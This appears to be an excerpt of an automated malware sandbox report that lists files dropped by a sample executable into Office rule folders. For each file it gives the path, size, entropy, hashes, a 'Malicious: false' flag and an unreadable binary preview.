Preview:	.<?Z.GY:...p.._..wJ.\|..)-.Z.;d.Mu.y&.^.....a.`%......7.....\|."C)..T..H.[.$C1"x.!.;...`'..V.........!3v9...w,.....J.....M...,9.\|;...`..b.L.d.....]..Qqp.o...gj.........Hnk..^A.....?.....K..t.....u..+..<9...v.....~[......p.D..i.c<.....-L.qHGP...9.]...e#.">te.>=H-_...../....i".. .9x...........?..........L.#}.^N.^....IxY]......{.@....5.F...^..........l@Q......I..tBie....:.\u.G...@Q.w.]..#2..6..gyoL9.tv.....,..p...A.EH...j..\. x.+R.&.1.@.e.....x.YB..XG....!...F..k..c..pW2.._......).I".^......[............H4[.)...S......T....SK.G.'.sJ..t6..u..u...e!..d.ohh.&..........!.w.}..i.]..,.."....w.\|2?.%9......5W......<..$3..yv.*1=q'..o1bg+.. ..]Q...5SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120640v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	812
Entropy (8bit):	7.732109529783869
Encrypted:	false
SSDEEP:	12:zn2v4ax5nEhWWGr1OnQ6q+Q9U2/Lvy7bRNaxKXpXkPunOd56W1+cii9a:DvQnRzrEnQ6qXU2jvypNakX+WCYNbD
MD5:	8F42A75AC4DD8FD97C44A566B0797A84
SHA1:	82D6EB8118F9333C9F13D7BDA4142B9DB65E2F48
SHA-256:	7A56BB594E3DBBE5253E1FDA478174AEADFBFD76995AD5977345D0F67B135CCC
SHA-512:	CC7955EDC43289060181B067C49F8D0524E5E4BB1CAC4012167A1ECEA8992CB98CF48F77F930199AD6FCE5BA6DA3DE1C6A767EA51603EF1730792BE050B32A30
Malicious:	false
Preview:	.<?.{..G.G.i..`A.I;....^:.S.k.y..G....b.P.2........._.s...i.I...)....B ..X.N........d.o...2....]3m...2.aF.....F...`%a..C\|.. ..2^vL$.A.V.....y....@-.K,tC..._....BSVr.S.....Pj.X.A...#.u.).......rO....w.=].!.!d+Y4.....M....T8...QL..I.#..z..b%+..}.K..z...=v1..\e {..%...[.:..D%....n.F.&.1O..w.Ck.O....V.,Z.(..&.np.Z...w.>sE.>..L.........>......u.j..R.T.9.Tl...y..Y2..9w..S.9....`NK........{.8K.}..T..<.K....p.3[.B..D.....}..1.r.3.8 .\.....N.9....GN...K..Mw....`"..G.....<.'..a...8/S.. ..bDW..O3R.......e..j...,.X.Un.....E.!..QO.^b8..5..!....N.D....N..Z.o.[..w..[.w.1R........U.X.d.k..I&dJ...#.B^.......Fd........E.>.Y]..X..'.8......Ur.........Z..x5+..[j.../.H...9.._-D.[.k..WU.g.V.....y..j.>SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120641v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.696637829790755
Encrypted:	false
SSDEEP:	12:dxvHXNzg/U+X+tMoZzDnSsLEEULA7B6gDLq9sLvFPSe9SBpYzZkPbPnWmFeFqi++:zXNzL+XOM+zvIEFMgDLqWDFPQIzaPy2g
MD5:	1E5F05A6E85E5AE70D058777E0AFF9A0
SHA1:	643F2C169EDB3B8AF74DECB0B1AE2E1051BB085D
SHA-256:	89D063DF0343C5406335533FA3EB92FE00A9EE6F41C5DB27F5B57D62A9E3BE6B
SHA-512:	D8284786AF6BD0F132690257531DFD1217674021A802E0EEC175A47F83B35E73432494DCC872B0CD5029D457A66F14D74DA20FB55816C329FB72C48B0CF62814
Malicious:	false
Preview:	.<?.<7>............Cd...Ay.."...6..si.4c.......'..........P.....F$M....3D.N..;.t#...SE...8......N.....Q>...<.l. .O#.J..;..N .uR.B1...H.......C.h..wXY{.........A..\|...:.....5.ET/U.;Q..NR.Je......N..2...V...f..B..F..k.f..~P.pgE...$.6.T/..y=i7!..!..Ux3..v..5...`...?(;....Ax.G1...1?..8......y.\|..%..+...v{n.......d..k1)..$.I.....P.:s4...^......]_.YV...i..i......W..t...i..;1..........H.a...........\..L...S.../.l.C...l..~..J....'.%.o...d.. \|Y.Umr. _(..6m....A$....OD.......g[]....?Q....N.7..U.r%..j...E.AUN....Q.....I........p.C.....(.f...q.D..Zl1;.Wm...N..i.q.K.@....P...9.9.H....o.J..F.a..Nl.H,N..X=...j..g.=%..G..S....B.G._...:NSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120642v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.752224598137588
Encrypted:	false
SSDEEP:	12:PyhREHV13TWpVdeWpNPsbBLwuWh1QqoZJ8cIzO2dLFP+PVthV0KZPKFV14NUZUkf:ZVxSD/0l3+1XoZ03V+97V0h714ClDjbD
MD5:	14E696822F5E737DF77BB35653476756
SHA1:	264C3E161573F923A00B61E7A5BF45B537D02601
SHA-256:	491ACA639975DB0F22E4E325847E4966DF343795DEBA74891FE2F8411FD4D240
SHA-512:	CE429AA3506B4C4CBEF4A0E73FC13B43345A6746A5B5045907EE3E27D79D402F1DC4E52FDCB5B2EFD67E5E5A5F9A5A5206DA6204C4007895052BE02D44E8EC6F
Malicious:	false
Preview:	.<?.T...U.....@k.#.h./.P.ESQ.\..8..>i.F....5V..(....'.Xy .3...Q.{.Q3.....A...dt.O....{.i/...x.%...Y.^/.....he.....9..\|..)....nB.r.#.1._.!r..27...m.....d..%.."`...{X~...'...]AF..-q..\..Q..ue.......:......G"m..2.......7...pf.^..T.HgDss.......<..d...{Z..1 ....-^..)..E...#..K......#;0...JUZu.....Yq..?.K....\|...K..2<t8.a.IW.bj.C'..G-.....%..K....M.V......E..+........Q..@...d3...mu..rH.0"...`..G.!..'$.. _p+g.O......D..m^..dm8o..}.\|...6....;.......J y..}....hg.r.J...f...c..+W.>.....M_1Z.:..V...j?....U...r0.%T....".u..XQ.v?..p.>t@...S.L7...#....../..v$.T. .5..~v.t.n.... .\|.....]3......J...%........5W.>..-j....X......S..>.:ti.y>.<=Xt.............<...<..._1.p...Ob* :..e..~S.Tp.L...^z..).SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120645v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	759
Entropy (8bit):	7.706416027869494
Encrypted:	false
SSDEEP:	12:KcYCTCnEpO3og+GyKYByOqZXMQ3CHd94WCnIUMw9JHOkNzLUMaCg4kUO5TP+wvIm:jTCEpsog+GLu0MRHdgIcHVzgMaCg4kUW
MD5:	CC4A8624539CCFE555721EF5645CBC87
SHA1:	5EF742301B9DE2D6EB59BE92D7C4C00B4B7AA441
SHA-256:	92C8C644F26A93635ADE1EF29A9CD27F84E6A751ED661140BAC664D2973CACAF
SHA-512:	73AB30B258E0B459F440E58B4801BFA910D4783FC195EC703792BB422BB6691C909A2806EA72300BB8EB14CB79C4A63A25B6C2191F79CB663A416CC85B11BF65
Malicious:	false
Preview:	.<?.P...;....K..Z"d<vV.C......O...d.'..hU.X8~.%.: b......9..^....."`(O....r>.6.T.J..z.#...(..j%a......sv.b7.....+.}.#e.B...^J:h.`.u....3Wf)D..l..K~..=o.3..2.....8}...N......`.!2lz(K.....i..V....Q.....0.WU.x.......Q.^......M.f..P.XS.....&.:G.PD#.I.....,..........'...m$..<.s..k..7..Hs.....JW..@Z.../...q..G...&..L.b..D....7.?.{.._..@....vk.y..sTV..#.A.~......0..Q9O7..e;'.c........_.h.8y.z.-.v.="....P....M}B.........!...{./...h.....W?.....U..>.^}....@......?...p...u.dn$...-...~.d.-.b.)>a$.....Ktl......t ....v...\..........P4)Q......CW.....DT.....0^M..M.k..U3.A.e...1)..6{..H....v+......~p..b.PR.....69#.cH>.. rO..VT...x...s)_..P...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120649v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	750
Entropy (8bit):	7.678042987845512
Encrypted:	false
SSDEEP:	12:R1cojgqkvYzncmLtTzAmmahdGXmMV3VGT0ByaCBRTH3CZtzPmpzQ7Nf1+cii9a:RpQvYxFzGXmMVlGIBD00bcyNsbD
MD5:	FD0798708276A3527670F11E8BA288AC
SHA1:	91EA9BCFED4E575EAC104FA930B0FEFBDDBF176A
SHA-256:	98D060B03CA8F0934B740233AC0553FFA5A8115B5344078C7631CF03ACD4597E
SHA-512:	19CA49DB41A1BE9BBE0CF5A1E068CDFC5508497815AA6AAE18E74A399F0A727F7E5680B43337066C4079B267BA99D0296AD9A5C462D4EB82EB29C1EC68270F28
Malicious:	false
Preview:	.<?..s.....!u.7..U..?=..."(Nx%.UH.]W.?....%.....I.r.E...8..F..tb....U.X..x.k{i..>....i.i.L.@R./......s^}.B.AL....R.....9.;#...............#H.-AG.G@..O...C}.._..Q....}.p_........8...]...y..nL.t...FTNZ:..\|Q>.;.......(L.z..o/.f.J..b..y.2.....E.tZMp..&...u..y& !l....l'\|m.7.C..f...J:...@I.......F."..\p......L.B..= I....._.U,.uBfOh:81..Z.'.j.......[.>.....%}2.rH... ...]u...p..t8..Fv4. p.r@=R.......e..w@g.K}.....*Tl<..mL.t....Sh#.1km.D....(..N..a.AA.?.Gh.....!..e.........1)q.8..V..8O.l...g.N..o.=..W.3qp....n.>X...&"...J.`S8i....48.\|:..x..;...!.?6.<....6...ItN....'W0?...wW.../.KH......I....!a...D).e.......e.I8c2>...u.I._..q"]..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120650v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.726350699734208
Encrypted:	false
SSDEEP:	24:MtZfuwhP8LmkvhEiTPCb7L2UJ7jp6GZAebD:Mtx1QBvht27Pjp68D
MD5:	81B9C9E2C93B4EA6BCAB1E899D84DDAD
SHA1:	459C27645595DA9CCE187E049B2D2270588D4B86
SHA-256:	9E95BAC6810C3B47030905A361DE457A3790E8155F7DC8BE6031FC585BC5A75F
SHA-512:	51B2E58AE47706449E1BA6BAA597C5941365B87C7A6D000C06B768EE5276F7260C9DCFC4E40444D92BE89BE9A440912D2144D73DF8F27102843AE6088F181253
Malicious:	false
Preview:	.<?.-.62.........7?..x..C..%\|...G....D..'.pz#....!\|!<>........R'h..-.I#M..[jf.2..W.3Q..}E..G"d..Q...2E."....K.$..X..b...%.^.#@.m...\|./.\|sa..b{t].........R.w.J.L =r...'...~.4o\.....fb]2K4..@...F.._f......=t1.%..N[LJ.9..q6.~ZYPs.....c..<.....i.,$.,5.8.....E.Tg....f^8.I.k..ZM..))...DA...M...,.y{............W.....( 6._..:..Q........V.6.......'.z.....b=N...+.....@..&..J.`.m...._j^...k..hC.aX...k}]2....@}...ox..9.n\...Q....0.s"%.W..-.".#.~.x..G..'.........?......_Z.Cz./.e.W...]...o...Q.~e.y.U.n..L..).....IO...8.5.....O....k.......d1of.,."....Os....j.'7.R..aoqz[..{.v.1....6{.U..-....K..xo.......i9.o4jDi.%.Nb.<[0.^S.....P....{/.Xq\|d.pAz{...`\.{...J.~....\|crs.......+,.....O..:.d.H.e6...re..~...2SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120651v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.731698202409672
Encrypted:	false
SSDEEP:	12:+DREj13b1XcmCnC9Y77iDXSD80s/bAZ3d6sskTc0I7WQvphuA9pe0qLH1+cii9a:+DRCxdCnC94iDXSDlsbAZ3FskTc0I7tT
MD5:	78BCFDF871ED10A30C1C92B7651A0FC2
SHA1:	CC74EDBD52B7AEE892A5738D372E124DE6253E91
SHA-256:	4A58D35EAE0273A58B5D7CA79CC7E1BBFF281B1DC25B83820679BEA5AF733CEA
SHA-512:	CCA37730BFBF272E9B310F810262E61480F76DDC615496D682313AF4FB936DEF0C978A33A96784D0A9AF93ABB2E223FF4C157BCF0E2504A56A6A27D3BF620210
Malicious:	false
Preview:	.<?]H.[. ....Xrg.kA.3..,mGt..E...oAJ.^.X.o>7L.M.S.'.?.j..,.y.......W.nn+h.s\.zg..#^c..Ta...k.^=S.].J.mc...y.k.q\~.iR.q.U..b.On..&..w..o..O...z.-......T..Z_..q...ji.fx.c."...%.....4.E..@~M.W.=....B0sY..t..&.B....k.j......}.I....OO....,.aq.\.Q....i&f.&.. ......}... ..\..69.T_..:rH..."\..-...m.XZ......4V +I.....f.%Q..BH._..?,...6..6.....<..M...r..=9x.t:...Gc...U..cKE...h.....b...>v.@......L......i1..&..].0.d......M........g.. ...v...a....>{...Uh...zq4......5.RmS.};..+..aZ.....M.#.m'.....\|.....>.".\|...w.S...Iw.c.....x.L..s..ki.-.x..).Sf..<B.#z.. ]5.l..#H`$#@\.U.a."FU....z....A...~.x1p.q..s+V....Q.l.....!..z..V5....MVB.!n...<.w..T.. .x.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120652v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.766690368916826
Encrypted:	false
SSDEEP:	12:bkii3a7a6qMwTnnhNKFPfTw9XAFcolhXRozHVLiLPjv1ebBkkT2ocyvSBBaZ2gtS:bkDTnfKq6coHBozHVLiLjv0sFR3DhbD
MD5:	748BC0AFC08DE4C6440742AE30C6929C
SHA1:	CEAACAE442B00088A1C9C9C5C77B21E6FCC75A3E
SHA-256:	B35C156C9008CA2A76A43A146777A73BAC1369216AC47B0574323D0575AE35CA
SHA-512:	696324632EC71604EBFE26A99B88856F283298D230009115BBFF4399B571B24C5AF49D0FEA2AF2A29A5A3A2AAAFCFD6D6C329070EBBE903E01B4E31A83439907
Malicious:	false
Preview:	.<?.'].;..p.........I...}.S}....G..2...O6..I.V.A.sJ..R2!....u......}.....3.t...?......"/@.)....."z_.#..]....0....lL.~..z.+.=.S#../.E.C...&.b....yF.J.M..4Ae..#..A...)..O;A....L..wi(.F..kO....g...Z..v....Z)z./Mc>...;......._.O.D.mHN.1.>.V..l3.y.^.,.Xb.3;.`....y.G.n. .I(/._Y....z.>.z.F.2?..ic..>5.2...M.(h\.y...).=..y._.j.d.......$0......z..(\|_.k......+..B.....[..OQ.U.K..!V....q.7u..x..r{.....)...V.....aP3.....v..RN.\|;.Y4..pGy.k..c..h\|...9...8$6..p..4.7.a...+......j.....~...$..n.TX.....t0..t..2.l..$..I<Tf."...I...>Fd<@...sgS..J.d.ZV........z.....Q.....R.m..H.G..m....^.K.P.@Z4.'..B.....0.\|..^.C. mX..nK/*.2;~...@.C~.g..i3.[.#.h.A.H^kf..n.=8.a"8...lX......8:......Zl...$.).....d.+....0S.i.rN.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120653v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.710436538780865
Encrypted:	false
SSDEEP:	12:RnjCH8vppxLRx4RpIh81ru9zuhVkxL9WcRnSmv57Y1ijY/3z/18to1+cii9a:tuchpxLbXIru9yhVkXWgnl5k1ic/3zt0
MD5:	B61E8484B8B768BCCA911DC5BD876019
SHA1:	6E8D2A373D982AD73EDA0D63F135906E7D4A4CF2
SHA-256:	34A565894D59F0139CF6A61B7D96228C65DD1219D1B73416D2B9997E4B40F887
SHA-512:	58DF14507BE371D6CA61ACA32AED324022881C69F5674681FCD6CFBBB9DBFE1BCB0BEF5742AA89C1192DFD20447E4FBE7F548362B95E7D7BE6BE05D3F7017CD3
Malicious:	false
Preview:	.<?..s$....]...b....(t..qjU.....x.w..#7..CX.OI..DWF.~Fu..g.)..~....x.l...".C.Y..X.#...^..........B..C.F....`.H..w&;h...%..9H..hc..4.#..:L.2...{....3.....N.W..bJd.p...gc>.x.n.}...V.9..1..l....;...v...1........s=%.:J.[.<-[?..Y....u...-....R6.N.xls..O\{..:3..F,.l8Yg.E..k...q.)to1..J....;...\|5!n.^.Cg......tehJ..o.@....E..e7.~........iel..c^...T.Ih.0.bE..._..........9..e.".{>.!...Q.......I..z..;..Yf.>Kyt.`nm..b]>Y.`.....b.X.J".]j].R67O1.5.wz.}...y.H..Mk........<.s`..........b.F......R..f.\|..>.I}O..0.x...[.w"...ao..x._.\&{.?...@.......2...3..$..{.....S...l....K6....4..8.'.....?......!8..\|..ud........bp.A.Z\...q.{+1K.$..si.!........L..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.892087335678413
Encrypted:	false
SSDEEP:	48:H2YO8ErmOTr2DO70KZUeVSjY9pz6fpj7tdebtD:H2Fd7wyT1SjY9pOfVtdeJ
MD5:	E7F4EA6DB0435E9B6BE9DEDDDF6A1C26
SHA1:	1C2A833651CA7ECB14169CEF006288E2CC9AEAB0
SHA-256:	14A0D7B28B274834EFF9AD7B4F7D2CE885D7E8722F1C3C535079CF3BB2030ED9
SHA-512:	EBE71155B5E92240B0C86DD09893FB02E541C9B7D0988B178126A42D874D3244B280E84E5A30317023071328EC078DB63005EC6BB38240882D477D0BFF90AF2C
Malicious:	false
Preview:	.<?h+..a.cg.w.M..g...{.#........d5..N.0.....,_.n......_q. `...l.0m.._.......EU8..r.....1\Okr%.w.....0..)f.....U.h..Rw..i>X...^..v.c)..F........w...yt...N...q.M.......c..-6....%.\|.p>...E........l..EI^iU?...ws..-...X.-.Y..t..~...wZ.-V%.J.C..^^.j.T...N.R.[.Y..J...}3.\|R..(..Ve^..Yi..h.@....Mz7.4....6&..".iz.c......Lt..:D2.I.C..I..D.1.>"A..#....9:...i. ......47\|6.....SS;....Y...rL.s&C......o'.S.{v..lE.`PTH...D.n.o....G.T.z.x...e.6.o4]_I....Ur@.....;f.I..'aw....r.(....1..!.b...J..P..$..8.k.......R.P.D.v...V.m.."..........NZT)...Y.....}...}'.YGVR..Q..?.E2<\.%..x$b..<.J.%.:....Ew.:..y.1.e.qa.U.......N..m..-.&VrL..M..?;....c.# ....S.j...;....l...Kh..2k.p.l./.c..\4.8.K)..\..t#.b..v..}.0..P..'..2..>6.=/.WA.xL@&3.}......]Y...m00....N...W....&..p..<y.[..\|.E.A[....T..{Q3...)vF....l.P3(.ki...\|v..M.....D....%SO..A66.w.Qa.....o..J.n.5Yj..K..8....JU.\|.t....W...0cX..g.%c*.d.$...;0..`.k.'....\k+.a....U.. hr.............@..k:._.)q87)...gY.q/.Z....O..(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.890116761440754
Encrypted:	false
SSDEEP:	48:R/DkxYnwN4V4jrVRBhCcaSW+aAxoNjjGamhw0lWKywsxOD:R/sAwc4nVRjCroaA0eTw0lXyF2
MD5:	BCC0E9C553780317680F8F14FEE0D5CA
SHA1:	92CE8843918F31D73EEE64A1A90223C9C321EF1E
SHA-256:	81E4E67A3D43947FD42D64050BF0371679207D510D0E151A392280D35DCCC0E6
SHA-512:	02F5392EE037D6BC8398FBB76E03F8F7B99EE306766E4E25011630C4E55CB6BB66D83D084044F7898B70FC19E41058048CA42980774D4D2AF3913DC258D0E10A
Malicious:	false
Preview:	.<?..l........8.$;x.j...w;..Y.....1.9\|...T.>\|0.....04.}T..Wc...Q..=.......".6.mQN.J...;.x..AM.A.}.=..g..eV~e.n...m..I+.%i....GxauU...!........E..9.V...a.O.^y..{.-N...&M...Z.K....l.s...1..$.<+..2.....h..-_....,.4....~..o+.MAI.Xd.F..UUE...0..".!......Wn.......vr...S..M..v.UC....v..8./y.+.c..L...p&/..=.u.B..@....eH.%b..\|..Z....vt?<.......d.=.M......).......I..v.j>N......pw.....].fa.........{..{...x.5....4..D......a+;5m..n.....B[....w=0....x.b..$.#[j.....e..!..'..W-V#:.\..x..s......%o"h.~.1.......]zz.U.7E....6...0.H..\%8k.l......u.o6r...\|......m@.W.7\...:..db!v.3.[.,.......u{NX...... .v..oy....W..&......).H....m...Y....N[...._.....2.....N^..F^\|{...M..U.{b..p.rT.qt@..7c..k.R.5..6..7..3..m?...Q.u.........p...L.,...s.D....MT>;_.C.>..l0$.a.../.0.3.G..l......i..^..1.q..3..8..kH..8...).xB..m......`.M...l.P...F.}..$..1C....8..%.v[.75..lw&0!. ...S.gTI...Y2=U....gi.....-r.Q.X1^#...4..;s.`r.....j(D..a.]....-UN'...\...kkd.x..{...(*..../X.'...p".G$.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.883704119864422
Encrypted:	false
SSDEEP:	24:z9GGGL6j86hkB9deylx3U1PqOhO14GdLzEHK506V5pKUUehRGtFtEI4g8jjgkfum:Jjjolx/qtS4+NVqQGWIp8XNu3fmD
MD5:	BFAD539B300D705B76FC5139D177F742
SHA1:	5B8CF76DCEDDA1622E98765BE1A026CE07885205
SHA-256:	0D05FE2FD41C48AD650448CEC8845855BAB790ADA0C215C8CDA5C48C788258B2
SHA-512:	876535715590F7A2735C069F3A46FA6099CC9919F6A5B8FB951991FAC4CFE41F4BEC16866B1749DBD2D5CCC2C0A4ECB251C693CBBD82637C5FB6BFCF45727635
Malicious:	false
Preview:	.<?^.Sz.!..Lu.YO.+a.HL..Q..~T..V.s..Qk...aO9.Cb.<%.O]...L..<......&@..I...y..7/;.?z:.E..m.s..eUpD..2.-.h..b.\....$.."w .....5y.;..\c..~..[..4.m7..<.'8x."I.^e.'..M.Y...`.6...$..~:+IJc..\.-JrE....u..[.%..`.?...O.f..A-.[l.l.....f..A.8f..).&I%...F..`p$......YVI...V.....&.....?m.P...R...Y.oD.0.C...q.x. .#..;,D.....9U....N5..^.........-....>.....t.....n....o......5...s.au./1)...p.h....oP1...y.].\...1........#.0/._..3.Q...zJ...M...Scl.xI&.f..r..F]........=.l...q........{$._..?..N.".CQ....S5.!{...........K....R.I.~..NU....r.....3.t.S1I_...\|........>}E..+RY...5.N....Z.NlK.l.F..;?....Z.....y,.`&~.......3.v.#.+.K.....+&....Oq:......\|j.F.F.g9.....".b >...3..~...E.s....p.6....Z2..:.?<.... <#....3q~..ww..gC...q..j<..I.'.m.Qt.4`..Ka....eZ...$~:F...p..}.5.d.:..q.2e....PaIhUJ ...Qum.y.......udO..f...wX@.......m.k"S....._{.D...."..2+.....e.6;....>.z.K....^..".).nCWm....&..#W..8.I.m'r...6S..h./..)wx..d.dR..g.F..p:f..s.\....{..9...b.2MuW..}.R..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.885470793484101
Encrypted:	false
SSDEEP:	48:EKus+7yRPIkGxsRU9vmueRC6WOtnMg5NDboqL11aD:GV7yRPIxvmR5znND50
MD5:	EF35ECBEC3CB0593167F3759BFF54FEE
SHA1:	D5506EB4DA94829DAD7086E6F96AC9945DA446ED
SHA-256:	C2934C1F81EEA2F6AD3D4188D7443B2116F7104A45E7432F8B67447ABE61E8DA
SHA-512:	5C19F340484A014DD602763309DA770627BD779EFBA76AA0F070C3B1DB10E0C9D56462325C89EBCD882FB160B9B66DAB338B735ECE9031898EC47AA4ACF5882F
Malicious:	false
Preview:	.<?....5.)........f<.a.op..Lh.....4Ves...Y..-0c%.....r..m6.`'.....t^.G".&.....3_..[.J..I.#...m....,..".2f.@..RH}o8.DVS}...D.'I0...I.......Y.m.1)2m....4.Z....3j..r+p.....M....X..'Yn...xz`.R$"&..6..c.@........FA.n.z.......%.-...a.l. ......2:... X..Di..>...;.s....S....iKi.-.H...RG......,.5Z....;.2.....4A.....=....60~P.....@.{u-=^........l...14....k../0..fU.._G.....9.P.R...v.......J#.......HEY.n$...\p..i.....8u.@...O..b....Y,...~....35..+.2...\..Ao..f...~_...u+...-w.G.g.@.{...X..U.f.{5.G."7Gs=.(?...x..I.....c../#..q.,t\...Bp\....X6.......v........5k......9t.E.fY.4.>....^;..q.....).....;fji...?[..H~........".n.0..Y1....O.h...F...y...I1..O.\~UV..o(. Ow...n.'.G.......Si...."."\QQRN.3t>tM.@V......c.7..^.A..%cCH.m.^.<....=..0..D.~gS;+...p(...F......s......R&1..44.i....i..S...A..A...q...}......OU%.gQ&.I.l...i._."...B...~...&.&.m....4..:P..k..=.~...HL....z.............Z?....bfg#...2+.E....%..n.J8.Ha.Y....RY.(..G..j.^%..C].....~ bA<........#..x.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.866077127690954
Encrypted:	false
SSDEEP:	24:bAGaWQVslNls8Bv5zJUFcBbkBZWU6s6Fqdexc11WwGMZ93GWziN8fah/h1PSSjEP:bAGaWQVaNlVTBbq42XWKH68f0tENm+D
MD5:	0D985EAD7C16B743D82DAD96E2BA60C4
SHA1:	B4DB63DEEE68A4751E77E1282641990C3AF387CC
SHA-256:	A4DACD9E7ED106D6C9F851511283F30AA6F3087D4232E16BEEB04F14F85A6334
SHA-512:	ACF23CDAC2DD9082B4FC2A5D1334A5F48EB0A06457E5572CA0A87B4F06813F142B6F8AB611E2A13A77E43178D0C8F0DD1928583BDB2ECB384F5D9E81E50D02DA
Malicious:	false
Preview:	.<?V.?.u5N^.1...w.;..%....c#.B..(u..{.J\|.C.Ez%....o.&...$....Kd.(.....a...........[.z.Q.).5.\.WE..r.......{....Sv.C..-.a..}?.To.3Y...E...X.q>D..9......m.:.K2b.Z..N..s..........b.%......_M.I"Ek..} rY.")..;.A...o8........r..P....}....N._.+....tK&.#d...E"Ttz.u..O'.B.q......X.. ....D.]...I7TE;..'.RPf.X.(.....n..o.~..BS...h=K7.-}...GBM....?#..{P..%2.<........w..Gq.d.........d.&.+........_..;E........k,.D...8...}......;.@......%..B..U.,.....N....a.{.=.x..Z.+..e(K.........O...;.W.B.Z.3..B..Q.2..T.U.Y...w{L....LRZ..&.k8..,$\|..j..mnU.&...l......u.~.K.P..B. ./.".y.R..:..............j..8Q.....0.-[..#...w...Y....KF.xi...D.!...[Vwz.r;...V..%Oo;...s(3.a....9..,..6.........._..,.-.0~\....l....V.3..w...T......./..DZ..\B.k6d.j.. ...:........z..k....A.b.B..f.{G.{)._6...8Q.5...s...0z.!.xtV:..$j+...z..k.K.....e.\|...g.K....B(...y.m.. .KOV$a_.r@.U...<.x.....#.f.....j r.F.$.....y.'h..rJ.q.....A....)-.P.9!..j...fTr...924...oj.k./q..Qb..`..x....Y..L.a..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.88540325332859
Encrypted:	false
SSDEEP:	48:bh4P07tGMcoirdWnA2XZPTiMEcczplUCYzSIkD:t4PcXcHhWAYVczbUh+X
MD5:	2F9D1E6DF4C9D9D74FA445F51474A179
SHA1:	3EEF58EED594A0BE9B5ED84DC8B5C6DEB153F28B
SHA-256:	214B6DE4140A6F29AB4B27B80D5A51F0189613EAB0E062D8A95EA4FEC328787F
SHA-512:	8598F463D177D9F02B6B73F7977F883308F576255517453BE9757A880261DA9DAC87AF166359A507CA48F21C8DD9B9007CC95F91BEF48B8513386F9FBEA26109
Malicious:	false
